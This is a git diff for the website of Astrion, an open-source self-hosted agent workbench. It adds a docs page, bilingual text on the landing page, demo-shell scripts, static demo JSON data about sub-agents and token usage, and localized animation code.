themeObserver.disconnect();
sendReadyOnce();
}
});
themeObserver.observe(document.documentElement, { attributes: true, attributeFilter: ['data-theme'] });
window.addEventListener('load', function () { setTimeout(sendReadyOnce, 300); });
setTimeout(sendReadyOnce, 4000);
}
}
// 防白闪第二道防线:隐藏时机提前到「点击发生」而非 beforeunload。新建对话是 location.href='/new'
// 整页导航beforeunload → 导航 commit 之间只有 SW 响应的十几毫秒不够一帧渲染——opacity:0
// 来不及上屏,浏览器 commit 时会画「未绘制 iframe 占位白」(实测竞态输赢不稳定)。点击捕获阶段
// 比产品逻辑与导航流程早整整一个事件周期,且同源可直接同步操作父页 DOMpostMessage 是异步
// 任务,仍有竞态)。若 800ms 内导航未发生(产品逻辑取消等)则恢复显示,防 iframe 永久黑洞。
document.addEventListener('click', function (e) {
var t = e.target && e.target.closest ? e.target.closest('button.sidebar-nav-row') : null;
if (!t || (t.textContent || '').indexOf('新建对话') === -1) return;
try {
if (window.parent === window) return;
var frames = window.parent.document.querySelectorAll('.demo-frame iframe');
for (var i = 0; i < frames.length; i++) frames[i].classList.remove('demo-frame-ready');
setTimeout(function () {
for (var j = 0; j < frames.length; j++) frames[j].classList.add('demo-frame-ready');
}, 800);
} catch (err) {}
}, true);
// 固定演示呈现状态:夜间配色 + 极简模式 + 快捷窗口自动展开,不受访客浏览器缓存影响
try {
localStorage.setItem('agents_ui_theme', 'classic');
localStorage.setItem('agents_ui_theme', 'dark');
localStorage.setItem('agents_personalization_experiments', JSON.stringify({ blockDisplayMode: 'minimal' }));
localStorage.setItem('agents_quick_dock_auto_expand', 'true');
} catch (e) {}
var TARGET = /^\/(?:conv_)?\d{8}_\d{6}_\d{3}$/.test(location.pathname) ? location.pathname : '/20260823_122836_778';
// 对话路由与 /new 空对话页都保留当前路径;其余一律回落默认对话。
// (此前 /new 会被强制拉回默认对话,导致「新建对话」按钮跳了又被顶回来)
var TARGET = (/^\/(?:conv_)?\d{8}_\d{6}_\d{3}$/.test(location.pathname) || location.pathname === '/new') ? location.pathname : '/20260823_122836_778';
// 演示禁用:工作流编辑器与个人空间管理员页的「打开」按钮(/workflows、/admin/* 均不在演示范围,
// 点击会 404 或开空白新标签。不动产品代码仅演示层注入MutationObserver 持续生效,幂等。
function demoDisable(btn, tip) {
if (btn.disabled) return;
btn.disabled = true;
btn.style.opacity = '0.4';
btn.style.cursor = 'not-allowed';
btn.title = tip;
}
function disableDemoBlockedButtons() {
// 侧边栏:工作流
var btns = document.querySelectorAll('button.sidebar-nav-row');
for (var i = 0; i < btns.length; i++) {
if (btns[i].querySelector('.workflow-icon')) demoDisable(btns[i], '演示环境未包含工作流编辑器');
}
// 个人空间-管理员 tab全部「打开」按钮.admin-monitor-page 为该 tab 独有容器,不会误伤其他设置按钮)
var adminBtns = document.querySelectorAll('.admin-monitor-page .settings-secondary-button');
for (var j = 0; j < adminBtns.length; j++) demoDisable(adminBtns[j], '演示环境未包含管理页面');
}
new MutationObserver(disableDemoBlockedButtons).observe(document.documentElement, { childList: true, subtree: true });
function loadMain() {
var s = document.createElement('script');
s.type = 'module';

48
demo/docs.html Normal file
View File

@ -0,0 +1,48 @@
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<!-- 防首帧白闪:外链 CSS 加载前浏览器默认画布纯白;内联深空底色 + dark color-scheme与主页同机制-->
<style>html { background-color: #0c1120; color-scheme: dark; }</style>
<title>文档 — Astrion</title>
<meta name="description" content="Astrion 使用文档:快速上手、核心概念、对话、输入与上下文、执行与安全、对话资产、智能体能力、快捷窗口、设置与 CLI。" />
<link rel="icon" type="image/svg+xml" href="/static/astrion-avatar.svg" />
<link rel="stylesheet" href="/site-assets/site.css" />
<link rel="stylesheet" href="/site-assets/docs.css" />
</head>
<body>
<!-- 顶栏与主页同构;文档页无 hero顶栏直接用实底scrolled 态) -->
<header class="topbar scrolled">
<div class="topbar-inner">
<a class="brand" href="/" aria-label="Astrion 首页">
<span class="brand-name">Astrion</span>
</a>
<nav class="topnav">
<!-- 「首页」返回链接桌面端隐藏brand 即返回入口仅移动端显示site.css 移动端隐藏全部
topnav-linkdocs.css 里用更高优先级选择器单独放行它) -->
<a class="topnav-link docs-back-home" href="/">首页</a>
<a class="topnav-link" href="/#features">功能</a>
<a class="topnav-link" href="/#faq">FAQ</a>
<a class="topnav-link docs-nav-current" href="/docs.html" aria-current="page">文档</a>
<a class="topnav-link" href="https://github.com/JOJO6618/astrion" target="_blank" rel="noopener">GitHub</a>
<a class="btn btn-primary btn-sm" href="https://github.com/JOJO6618/astrion" target="_blank" rel="noopener">Try Astrion</a>
</nav>
</div>
</header>
<div class="docs-layout">
<aside class="docs-side">
<p class="docs-side-title">文档</p>
<nav class="docs-nav" id="docsNav" aria-label="文档目录"></nav>
</aside>
<main class="docs-main">
<article class="docs-content" id="docsContent" aria-live="polite"></article>
</main>
</div>
<script src="/site-assets/vendor/marked.min.js"></script>
<script src="/site-assets/docs.js"></script>
</body>
</html>

View File

@ -3,7 +3,10 @@
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Astrion — 住在你机器上的智能体工作台</title>
<!-- 防首帧白闪:外链 site.css 加载前浏览器默认画布纯白;内联深空底色 + dark color-scheme
与 site.css 的 html 渐变底色同源(--bg-0CSS 就绪后自然衔接(渐变在同色之上展开)。 -->
<style>html { background-color: #0c1120; color-scheme: dark; }</style>
<title>Astrion</title>
<meta name="description" content="Astrion 是开源、自托管的智能体工作台:在本机处理你的代码与工作,也可以部署到云端提供多人服务,体验一致。" />
<link rel="icon" type="image/svg+xml" href="/static/astrion-avatar.svg" />
<link rel="stylesheet" href="/site-assets/astrion-avatar.css" />
@ -20,14 +23,15 @@
<!-- ───────────────── 顶栏 ───────────────── -->
<header class="topbar" id="topbar">
<div class="topbar-inner">
<a class="brand" href="/" aria-label="Astrion 首页">
<a class="brand" href="/" data-i18n-aria="brand.aria" aria-label="Astrion 首页">
<span class="brand-name">Astrion</span>
</a>
<nav class="topnav">
<a class="topnav-link" href="#features">功能</a>
<a class="topnav-link" href="#features" data-i18n="nav.features">功能</a>
<a class="topnav-link" href="#faq">FAQ</a>
<a class="topnav-link" href="/docs.html" data-i18n="nav.docs">文档</a>
<a class="topnav-link" href="https://github.com/JOJO6618/astrion" target="_blank" rel="noopener">GitHub</a>
<a class="btn btn-primary btn-sm" href="https://github.com/JOJO6618/astrion" target="_blank" rel="noopener">Try Astrion</a>
<a class="btn btn-primary btn-sm" href="https://agent.cyjai.com">Try Astrion</a>
</nav>
</div>
</header>
@ -37,14 +41,17 @@
<!-- ───────────────── 总览 ───────────────── -->
<section class="hero">
<div class="hero-inner">
<p class="eyebrow">开源 · 自托管 · 本机优先</p>
<div class="hero-title-row">
<h1 class="hero-title">Astrion<span class="hero-mascot" id="heroMascot" aria-hidden="true"></span></h1>
</div>
<p class="hero-sub">住在你机器上的智能体工作台。开源、自托管,可以处理你的本地代码和工作,也可以部署在云端提供多人服务,体验一致。</p>
<p class="hero-sub" data-i18n="hero.sub">住在你机器上的智能体工作台。开源、自托管,可以处理你的本地代码和工作,也可以部署在云端提供多人服务,体验一致。</p>
<button class="hero-clone" id="heroClone" type="button" data-i18n-aria="hero.cloneAria" aria-label="复制 git clone 命令">
<code>git clone https://github.com/JOJO6618/astrion.git</code>
<span class="hero-clone-sep" aria-hidden="true"></span>
<span class="hero-clone-icon" aria-hidden="true"><svg class="icon-copy" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="9" y="9" width="13" height="13" rx="2"/><path d="M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0 0 1 2 2v1"/></svg><svg class="icon-check" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.4" stroke-linecap="round" stroke-linejoin="round"><polyline points="20 6 9 17 4 12"/></svg></span>
</button>
<div class="hero-actions">
<a class="btn btn-primary" href="https://github.com/JOJO6618/astrion" target="_blank" rel="noopener">下载</a>
<a class="btn btn-ghost" href="https://github.com/JOJO6618/astrion#readme" target="_blank" rel="noopener">查看文档</a>
<a class="btn btn-ghost" href="/docs.html" data-i18n="hero.docs">查看文档</a>
</div>
<p class="hero-platforms">
<span class="platform">Terminal <em>(beta)</em></span>
@ -64,22 +71,23 @@
<section class="demo" id="demo">
<div class="section-head">
<p class="eyebrow">Demo</p>
<h2 class="section-title">它工作时的样子</h2>
<p class="section-sub">下面是真实运行的 Astrion 界面,接着一份静态演示数据。可以点击切换对话、展开工具记录、打开右侧快捷窗口查看子智能体。</p>
<h2 class="section-title" data-i18n="demo.title">它工作时的样子</h2>
<p class="section-sub" data-i18n="demo.sub">下面是真实运行的 Astrion 界面,接着一份静态演示数据。可以点击切换对话、展开工具记录、打开右侧快捷窗口查看子智能体。</p>
</div>
<div class="demo-frame-wrap">
<div class="demo-frame" id="demoFrame">
<iframe id="demoIframe" src="/demo.html" title="Astrion 界面演示" loading="lazy"></iframe>
<!-- 演示壳较重main.js 2.1MB):不用 loading=lazy浏览器预载阈值太宽改为 data-src + IntersectionObserver 严格懒加载,接近视口才注入 srcsite.js fitDemo 先撑占位高度避免跳动 -->
<iframe id="demoIframe" data-src="/demo.html" data-i18n-attr-title="demo.iframeTitle" title="Astrion 界面演示"></iframe>
</div>
</div>
<p class="demo-note">演示环境只含静态数据;实际使用由你自己的模型驱动。</p>
<p class="demo-note" data-i18n="demo.note">演示环境只含静态数据;实际使用由你自己的模型驱动。</p>
</section>
<!-- ───────────────── 特色功能 ───────────────── -->
<section class="features" id="features">
<div class="section-head">
<p class="eyebrow">Features</p>
<h2 class="section-title">围绕「放心交给它做事」设计</h2>
<h2 class="section-title" data-i18n="features.title">围绕「放心交给它做事」设计</h2>
</div>
<div class="feature-list">
@ -87,8 +95,8 @@
<div class="feature-row feature-row--anim">
<div class="feature-text">
<p class="feature-index">01</p>
<h3 class="feature-title">计划 / 询问 / 执行</h3>
<p class="feature-desc">三种运行模式决定它什么时候动手。<br>计划模式只出方案,批准后才开始改;<br>询问模式先讨论清楚再开工;<br>执行模式直接做完再汇报。</p>
<h3 class="feature-title" data-i18n="f1.title">计划 / 询问 / 执行</h3>
<p class="feature-desc" data-i18n-html="f1.desc">三种运行模式决定它什么时候动手。<br>计划模式只出方案,批准后才开始改;<br>询问模式先讨论清楚再开工;<br>执行模式直接做完再汇报。</p>
</div>
<div class="feature-anim" id="animModes" aria-hidden="true"></div>
</div>
@ -96,8 +104,8 @@
<div class="feature-row feature-row--anim">
<div class="feature-text">
<p class="feature-index">02</p>
<h3 class="feature-title">沙箱与网络授权</h3>
<p class="feature-desc">命令默认在操作系统沙箱里执行,写文件、访问网络都要经过授权。<br>macOS 使用系统沙箱Windows 通过 WSL2 获得完整隔离;<br>网络权限单独开关,与文件权限互不影响。</p>
<h3 class="feature-title" data-i18n="f2.title">沙箱与网络授权</h3>
<p class="feature-desc" data-i18n-html="f2.desc">命令默认在操作系统沙箱里执行,写文件、访问网络都要经过授权。<br>macOS 使用系统沙箱Windows 通过 WSL2 获得完整隔离;<br>网络权限单独开关,与文件权限互不影响。</p>
</div>
<div class="feature-anim" id="animSandbox" aria-hidden="true"></div>
</div>
@ -105,8 +113,8 @@
<div class="feature-row feature-row--anim">
<div class="feature-text">
<p class="feature-index">03</p>
<h3 class="feature-title">修改记录</h3>
<p class="feature-desc">每一次文件编辑都留下一条 diff<br>改了哪个文件、加了几行、删了几行。<br>按任务逐条查看,也可以单独撤销其中任意一次修改。</p>
<h3 class="feature-title" data-i18n="f3.title">修改记录</h3>
<p class="feature-desc" data-i18n-html="f3.desc">每一次文件编辑都留下一条 diff<br>改了哪个文件、加了几行、删了几行。<br>按任务逐条查看,也可以单独撤销其中任意一次修改。</p>
</div>
<div class="feature-anim" id="animRecords" aria-hidden="true"></div>
</div>
@ -114,8 +122,8 @@
<div class="feature-row feature-row--anim">
<div class="feature-text">
<p class="feature-index">04</p>
<h3 class="feature-title">版本控制</h3>
<p class="feature-desc">每条消息自动成为一个检查点。<br>发现方向不对时,回退到任意一条消息之前——<br>对话和文件一起还原,不用手工收拾残局。</p>
<h3 class="feature-title" data-i18n="f4.title">版本控制</h3>
<p class="feature-desc" data-i18n-html="f4.desc">每条消息自动成为一个检查点。<br>发现方向不对时,回退到任意一条消息之前——<br>对话和文件一起还原,不用手工收拾残局。</p>
</div>
<div class="feature-anim" id="animVersion" aria-hidden="true"></div>
</div>
@ -127,43 +135,64 @@
<section class="faq" id="faq">
<div class="section-head">
<p class="eyebrow">FAQ</p>
<h2 class="section-title">常见问题</h2>
<h2 class="section-title" data-i18n="faq.title">常见问题</h2>
</div>
<div class="faq-list">
<details class="faq-item">
<summary class="faq-q">运行 Astrion 需要什么环境?<span class="faq-icon"></span></summary>
<div class="faq-a"><p>Python 3.9+ 和 Node.js 18+。克隆仓库后安装依赖、构建前端,一条命令启动,默认监听 8091 端口。macOS、Linux、WindowsWSL2都可以运行。</p></div>
<summary class="faq-q"><span data-i18n="faq1.q">运行 Astrion 需要什么环境?</span><span class="faq-icon"></span></summary>
<div class="faq-a"><p data-i18n-html="faq1.a">Python 3.9+ 和 Node.js 18+。克隆仓库后安装依赖、构建前端,一条命令启动,默认监听 8091 端口。macOS、Linux、WindowsWSL2都可以运行。</p></div>
</details>
<details class="faq-item">
<summary class="faq-q">我的数据存在哪里?<span class="faq-icon"></span></summary>
<div class="faq-a"><p>全部在你自己的机器上:对话记录、工作区文件、日志默认放在 <code>~/.astrion/astrion/</code> 下,可以通过环境变量整体搬迁。不经过任何第三方服务器。</p></div>
<summary class="faq-q"><span data-i18n="faq2.q">我的数据存在哪里?</span><span class="faq-icon"></span></summary>
<div class="faq-a"><p data-i18n-html="faq2.a">全部在你自己的机器上:对话记录、工作区文件、日志默认放在 <code>~/.astrion/astrion/</code> 下,可以通过环境变量整体搬迁。不经过任何第三方服务器。</p></div>
</details>
<details class="faq-item">
<summary class="faq-q">宿主机模式和 Docker 模式有什么区别?<span class="faq-icon"></span></summary>
<div class="faq-a"><p>宿主机模式下 Astrion 直接操作你的本机文件适合处理日常工作和本地代码Docker 模式把任务放进容器执行,适合需要隔离或多人共用的部署。两种模式界面与能力一致,数据可以互通。</p></div>
<summary class="faq-q"><span data-i18n="faq3.q">宿主机模式和 Docker 模式有什么区别?</span><span class="faq-icon"></span></summary>
<div class="faq-a"><p data-i18n-html="faq3.a">宿主机模式下 Astrion 直接操作你的本机文件适合处理日常工作和本地代码Docker 模式把任务放进容器执行,适合需要隔离或多人共用的部署。两种模式界面与能力一致,数据可以互通。</p></div>
</details>
<details class="faq-item">
<summary class="faq-q">支持哪些模型?<span class="faq-icon"></span></summary>
<div class="faq-a"><p>任何 OpenAI 兼容接口都可以接入:官方 API、聚合网关、本地推理服务都行。主智能体和子智能体可以分别配置不同的模型。</p></div>
<summary class="faq-q"><span data-i18n="faq4.q">支持哪些模型?</span><span class="faq-icon"></span></summary>
<div class="faq-a"><p data-i18n-html="faq4.a">任何 OpenAI 兼容接口都可以接入:官方 API、聚合网关、本地推理服务都行。主智能体和子智能体可以分别配置不同的模型。</p></div>
</details>
<details class="faq-item">
<summary class="faq-q">可以部署给多人使用吗?<span class="faq-icon"></span></summary>
<div class="faq-a"><p>可以。部署到服务器后自带多用户体系,每人独立工作区,通过浏览器访问,也有 Android 客户端。同一套界面,本机和云端体验一致。</p></div>
<summary class="faq-q"><span data-i18n="faq5.q">可以部署给多人使用吗?</span><span class="faq-icon"></span></summary>
<div class="faq-a"><p data-i18n-html="faq5.a">可以。部署到服务器后自带多用户体系,每人独立工作区,通过浏览器访问,也有 Android 客户端。同一套界面,本机和云端体验一致。</p></div>
</details>
<details class="faq-item">
<summary class="faq-q">它执行命令安全吗?<span class="faq-icon"></span></summary>
<div class="faq-a"><p>有四层控制:权限模式决定哪些操作需要批准;命令默认在 OS 沙箱内运行;网络访问单独授权;所有文件修改留有记录可以随时回退。你可以从「每条命令都要批准」一路调到「完全放开」,粒度自己定。</p></div>
<summary class="faq-q"><span data-i18n="faq6.q">它执行命令安全吗?</span><span class="faq-icon"></span></summary>
<div class="faq-a"><p data-i18n-html="faq6.a">有四层控制:权限模式决定哪些操作需要批准;命令默认在 OS 沙箱内运行;网络访问单独授权;所有文件修改留有记录可以随时回退。你可以从「每条命令都要批准」一路调到「完全放开」,粒度自己定。</p></div>
</details>
</div>
</section>
<!-- ───────────────── 联系我 ───────────────── -->
<section class="contact" id="contact">
<div class="section-head">
<p class="eyebrow">Contact</p>
<h2 class="section-title" data-i18n="contact.title">联系我</h2>
<p class="contact-sub" data-i18n="contact.sub">有问题、想法或合作意向,欢迎来信。</p>
</div>
<div class="contact-row">
<div class="contact-mailbox">
<a class="contact-mail" href="mailto:yao884417@outlook.com">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M4 4h16c1.1 0 2 .9 2 2v12c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2z"/><polyline points="22,6 12,13 2,6"/></svg>
<span class="contact-mail-addr">yao884417@outlook.com</span>
</a>
<span class="contact-mail-sep" aria-hidden="true"></span>
<button class="contact-copy" id="contactCopy" type="button" data-i18n-aria="contact.copyAria" aria-label="复制邮箱地址">
<span class="hero-clone-icon" aria-hidden="true"><svg class="icon-copy" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="9" y="9" width="13" height="13" rx="2"/><path d="M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0 0 1 2 2v1"/></svg><svg class="icon-check" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.4" stroke-linecap="round" stroke-linejoin="round"><polyline points="20 6 9 17 4 12"/></svg></span>
</button>
</div>
</div>
</section>
</main>
<!-- ───────────────── 底栏 ───────────────── -->
@ -174,8 +203,9 @@
</div>
<nav class="footer-links">
<a href="https://github.com/JOJO6618/astrion" target="_blank" rel="noopener">GitHub</a>
<a href="https://github.com/JOJO6618/astrion#readme" target="_blank" rel="noopener">文档</a>
<a href="#demo">演示</a>
<a href="/docs.html" data-i18n="footer.docs">文档</a>
<a href="#demo" data-i18n="footer.demo">演示</a>
<button class="lang-toggle" id="langToggle" type="button">English</button>
</nav>
</div>
</footer>
@ -185,6 +215,7 @@
<script src="/site-assets/anim-modes.js"></script>
<script src="/site-assets/anim-records.js"></script>
<script src="/site-assets/anim-version.js"></script>
<script src="/site-assets/i18n.js"></script>
<script src="/site-assets/site.js"></script>
</body>
</html>

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,57 @@
{
"success": true,
"agents": [
{
"agent_id": 1,
"role_id": "researcher",
"display_name": "Researcher_1",
"task_id": "sub_1_1788364427_985302",
"status": "idle",
"summary": "Researcher作业",
"created_at": 1788364427.560046,
"last_output": "调研素材已充分catmocha.jp 首页全文、% Arabica 官网案例、Blue Bottle 摄影语言、Meow Parlour/てまりのおしろ定位均已核实)。以下为最终汇报。\n\n---\n\n来自 Researcher_1 的任务进度输出\nid: out_task_b8b2a0cdc2\n\n## 猫咖 × 精品咖啡官网设计调研报告\n\n**素材来源**:本次通过实时搜索+页面抽取核实catmocha.jp、CGICA 对 % Arabica 官网案例分析、Blue Bottle 品牌/摄影方向案例等),网络工具可用,结论均基于真实案例。\n\n### 一、典型案例\n\n1. **Cat Caf",
"conversation_id": "conv_20260902_235153_495",
"last_tool": null,
"current_context_tokens": 0
},
{
"agent_id": 2,
"role_id": "researcher",
"display_name": "Researcher_2",
"task_id": "sub_2_1788364429_91688a",
"status": "idle",
"summary": "Researcher作业",
"created_at": 1788364429.548623,
"last_output": "已完成调研。基于 web_search + extract_webpage 的实时信息Nippon Colors 传统色体系、日式网页设计方法论文章、無印良品/中川政七案例),产出以下报告。\n\n---\n\n# 暖色系日式风格视觉调研报告\n\n**核心理念**:暖 ≠ 艳。日式高级感 = 低饱和高明度的大地色 + 大留白(\"八分满\"哲学),原研哉所谓\"隐藏在色彩中真正的白\"。\n\n## 一、配色方案3 套)\n\n**方案 A「茶室陶土」— 主推,最贴合猫咖烘焙感**\n| 角色 | 色名 | Hex | 比例 |\n|---|---|---|---|\n| 主色·背景 | 生成り(未漂麻米白) | `#F",
"conversation_id": "conv_20260902_235153_495",
"last_tool": null,
"current_context_tokens": 0
},
{
"agent_id": 3,
"role_id": "researcher",
"display_name": "Researcher_3",
"task_id": "sub_3_1788364431_74db3e",
"status": "idle",
"summary": "Researcher作业",
"created_at": 1788364431.575275,
"last_output": "调研完成。已核实 Kitty Brew、NEKO、Cat Cafe San Diego、Coffee Cats、Orlando、Tree House 等 6 家真实猫咖官网的栏目与字段设置,以下是结论报告。\n\n---\n\n## 猫咪咖啡店官网内容组织调研报告\n\n### 一、推荐单页板块顺序(首屏→页脚)\n\n**真实案例共性**:导航普遍为 `Home / Visit(预约) / Menu / Our Cats / FAQ`;首页 CTAMAKE A RESERVATION高频复现单页适合按下述顺序\n\n1. **Hero**:店名 + 标语 + 「立即预约」主按钮(可加\"预约建议/无需预约",
"conversation_id": "conv_20260902_235153_495",
"last_tool": null,
"current_context_tokens": 0
},
{
"agent_id": 4,
"role_id": "ui-operator",
"display_name": "UI Operator_1",
"task_id": "sub_4_1788364765_5d6208",
"status": "terminated",
"summary": "UI Operator作业",
"created_at": 1788364765.709567,
"last_output": "汇报已发出。交付物为 `cat-cafe/index.html`73KB 单文件),全部静态验证通过,视觉验收因沙箱限制留给用户确认。任务结束,等待下一步指令。",
"conversation_id": "conv_20260902_235153_495",
"last_tool": null,
"current_context_tokens": 0
}
]
}

View File

@ -0,0 +1 @@
{"success":true,"data":{"overview":"调研→汇总→产出猫咪咖啡店官网单页 demo","tasks":[{"index":1,"title":"派 3 个子智能体并行调研:猫咖/精品咖啡官网设计、日式暖色风格、内容组织","status":"done"},{"index":2,"title":"汇总三份调研结论,形成设计简报","status":"done"},{"index":3,"title":"派 UI 子智能体基于简报编写单页 demo","status":"done"},{"index":4,"title":"验证 demo 文件并向用户汇报文件位置","status":"done"}],"status":"active","forced_finish":false,"forced_reason":null}}

View File

@ -0,0 +1,7 @@
{
"total_input_tokens": 413766,
"total_output_tokens": 7268,
"total_tokens": 421034,
"current_context_tokens": 56257,
"updated_at": "2026-08-23T13:32:51.486308"
}

View File

@ -0,0 +1,10 @@
{
"total_input_tokens": 735367,
"total_output_tokens": 15266,
"total_tokens": 750633,
"current_context_tokens": 45832,
"updated_at": "2026-09-03T00:28:37.188478",
"total_cached_input_tokens": 0,
"cache_exempt_input_tokens": 0,
"cache_cold_start_pending": false
}

View File

@ -0,0 +1,7 @@
{
"total_input_tokens": 40143,
"total_output_tokens": 27519,
"total_tokens": 67662,
"current_context_tokens": 21000,
"updated_at": "2026-08-25T22:38:44.368561"
}

View File

@ -0,0 +1,10 @@
{
"total_input_tokens": 4472987,
"total_output_tokens": 23563,
"total_tokens": 4496550,
"total_cached_input_tokens": 4389209,
"cache_exempt_input_tokens": 21249,
"cache_cold_start_pending": false,
"current_context_tokens": 77441,
"updated_at": "2026-09-03T20:39:59.397436"
}

View File

@ -0,0 +1,10 @@
{
"total_input_tokens": 212096,
"total_output_tokens": 5703,
"total_tokens": 217799,
"total_cached_input_tokens": 156416,
"cache_exempt_input_tokens": 24964,
"cache_cold_start_pending": false,
"current_context_tokens": 57569,
"updated_at": "2026-09-03T00:42:05.061150"
}

View File

@ -5,13 +5,31 @@
window.AnimModes = (function () {
'use strict';
/* locale setLocale zh-CNT(zh, en)
切换语言后 setLocale 重新 init 重建 DOMtab 文案更新并续播 lastMode
gen 为模块级重新 init 时递增作废旧闭包里的未完成序列避免旧动画继续跑 */
var locale = 'zh-CN';
var lastContainer = null;
var lastMode = 'plan';
var gen = 0;
function T(zh, en) { return locale === 'en-US' ? en : zh; }
function setLocale(l) {
if (l !== 'zh-CN' && l !== 'en-US') return;
if (l === locale) return;
locale = l;
if (lastContainer) init(lastContainer);
}
function init(container) {
lastContainer = container;
container.innerHTML =
'<div class="anim-window" id="animWindow">' +
'<div class="anim-topbar">' +
'<button class="anim-mode-tab" data-mode="plan">计划</button>' +
'<button class="anim-mode-tab" data-mode="ask">询问</button>' +
'<button class="anim-mode-tab" data-mode="execute">执行</button>' +
'<button class="anim-mode-tab" data-mode="plan">' + T('计划', 'Plan') + '</button>' +
'<button class="anim-mode-tab" data-mode="ask">' + T('询问', 'Ask') + '</button>' +
'<button class="anim-mode-tab" data-mode="execute">' + T('执行', 'Execute') + '</button>' +
'</div>' +
'<div class="anim-chat"></div>' +
'<div class="anim-composer"><span class="anim-composer-text"></span><span class="anim-composer-caret"></span></div>' +
@ -26,8 +44,7 @@ window.AnimModes = (function () {
var cursor = container.querySelector('.anim-cursor');
var tabs = Array.prototype.slice.call(container.querySelectorAll('.anim-mode-tab'));
var animWindow = container.querySelector('.anim-window');
/* ── 代次令牌:切换模式时作废旧序列的所有后续步骤 ── */
var gen = 0;
/* ── 代次令牌(模块级):切换模式/语言重建时作废旧序列的所有后续步骤 ── */
/* rAF rAF
setTimeout 在后台只是降频不会停会攒动画导致恢复瞬间全部放完 */
@ -153,14 +170,14 @@ window.AnimModes = (function () {
/* ── 模式一:计划 ── */
async function playPlan(myGen) {
addUserMsg('帮我给这个项目加一个设置页面');
addUserMsg(T('帮我给这个项目加一个设置页面', 'Add a settings page to this project'));
await step(700, myGen);
var think = addThinkRow();
await step(1300, myGen);
removeEl(think);
await addToolLine('规划设计页面', '.astrion/plan/settings-page.md', 900, myGen);
await addToolLine(T('规划设计页面', 'Plan the page design'), '.astrion/plan/settings-page.md', 900, myGen);
await step(350, myGen);
// 计划:标题与条目全部逐字流式
@ -170,9 +187,13 @@ window.AnimModes = (function () {
var titleSpan = el('span');
title.appendChild(titleSpan);
body.appendChild(title);
await typeInto(titleSpan, '设置页面开发计划', myGen, 55);
await typeInto(titleSpan, T('设置页面开发计划', 'Settings page development plan'), myGen, 55);
var items = ['梳理现有个性化设置字段与保存接口', '编写页面布局与表单组件', '接入保存并构建验证'];
var items = [
T('梳理现有个性化设置字段与保存接口', 'Review existing personalization fields and save API'),
T('编写页面布局与表单组件', 'Build page layout and form components'),
T('接入保存并构建验证', 'Wire up saving and verify the build')
];
for (var i = 0; i < items.length; i++) {
var row = el('div', 'plan-item');
row.appendChild(el('b', null, (i + 1) + '.'));
@ -184,7 +205,7 @@ window.AnimModes = (function () {
}
var actions = el('div', 'plan-actions anim-item');
var approve = el('button', 'plan-btn is-primary', '批准计划');
var approve = el('button', 'plan-btn is-primary', T('批准计划', 'Approve plan'));
actions.appendChild(approve);
body.appendChild(actions);
chat.scrollTo({ top: chat.scrollHeight, behavior: 'smooth' });
@ -192,7 +213,7 @@ window.AnimModes = (function () {
// 鼠标点击批准
await cursorClick(approve, myGen);
approve.textContent = '已批准 ✓';
approve.textContent = T('已批准 ✓', 'Approved ✓');
approve.classList.remove('is-primary');
approve.classList.add('is-approved');
await step(700, myGen);
@ -203,33 +224,33 @@ window.AnimModes = (function () {
removeEl(actions);
// 批准后开始实施
await typeAiMsg('好的,开始实施。', myGen);
await typeAiMsg(T('好的,开始实施。', 'OK, starting implementation.'), myGen);
await step(250, myGen);
await addToolLine('编写设置页面组件', 'SettingsPanel.tsx', 1000, myGen);
await addToolLine(T('编写设置页面组件', 'Write settings page component'), 'SettingsPanel.tsx', 1000, myGen);
await step(280, myGen);
await addToolLine('构建验证', 'npm run build', 1000, myGen);
await addToolLine(T('构建验证', 'Verify build'), 'npm run build', 1000, myGen);
await step(320, myGen);
await typeAiMsg('设置页面已完成,构建通过。', myGen);
await typeAiMsg(T('设置页面已完成,构建通过。', 'Settings page done, build passed.'), myGen);
}
/* ── 模式二:询问 ── */
async function playAsk(myGen) {
addUserMsg('帮我优化一下这个页面的性能');
addUserMsg(T('帮我优化一下这个页面的性能', "Help me optimize this page's performance"));
await step(700, myGen);
var think = addThinkRow();
await step(1100, myGen);
removeEl(think);
await typeAiMsg('好的,我先和您聊聊。这个页面是首次加载慢,还是滚动、交互的时候慢?', myGen);
await typeAiMsg(T('好的,我先和您聊聊。这个页面是首次加载慢,还是滚动、交互的时候慢?', 'Sure, let me ask first. Is the page slow on initial load, or during scrolling and interaction?'), myGen);
await step(500, myGen);
// 输入栏出现,用户逐字输入回答
composerText.textContent = '';
composer.classList.add('is-visible');
await step(450, myGen);
var reply = '主要是首次加载慢';
var reply = T('主要是首次加载慢', 'Mainly the initial load');
for (var i = 0; i < reply.length; i++) {
composerText.textContent += reply[i];
await step(70, myGen);
@ -249,32 +270,32 @@ window.AnimModes = (function () {
await step(1000, myGen);
removeEl(think2);
await typeAiMsg('好的,我来调查一下。', myGen);
await typeAiMsg(T('好的,我来调查一下。', 'OK, let me investigate.'), myGen);
await step(250, myGen);
await addToolLine('分析构建产物体积', 'npm run build', 1200, myGen);
await addToolLine(T('分析构建产物体积', 'Analyze build output size'), 'npm run build', 1200, myGen);
await step(300, myGen);
await typeAiMsg('找到了:图表库被全量引入,首屏多出 2.1MB。', myGen);
await typeAiMsg(T('找到了:图表库被全量引入,首屏多出 2.1MB。', 'Found it: the chart library is fully imported, adding 2.1MB to the first load.'), myGen);
}
/* ── 模式三:执行 ── */
async function playExecute(myGen) {
addUserMsg('把页面上的按钮都改成蓝色');
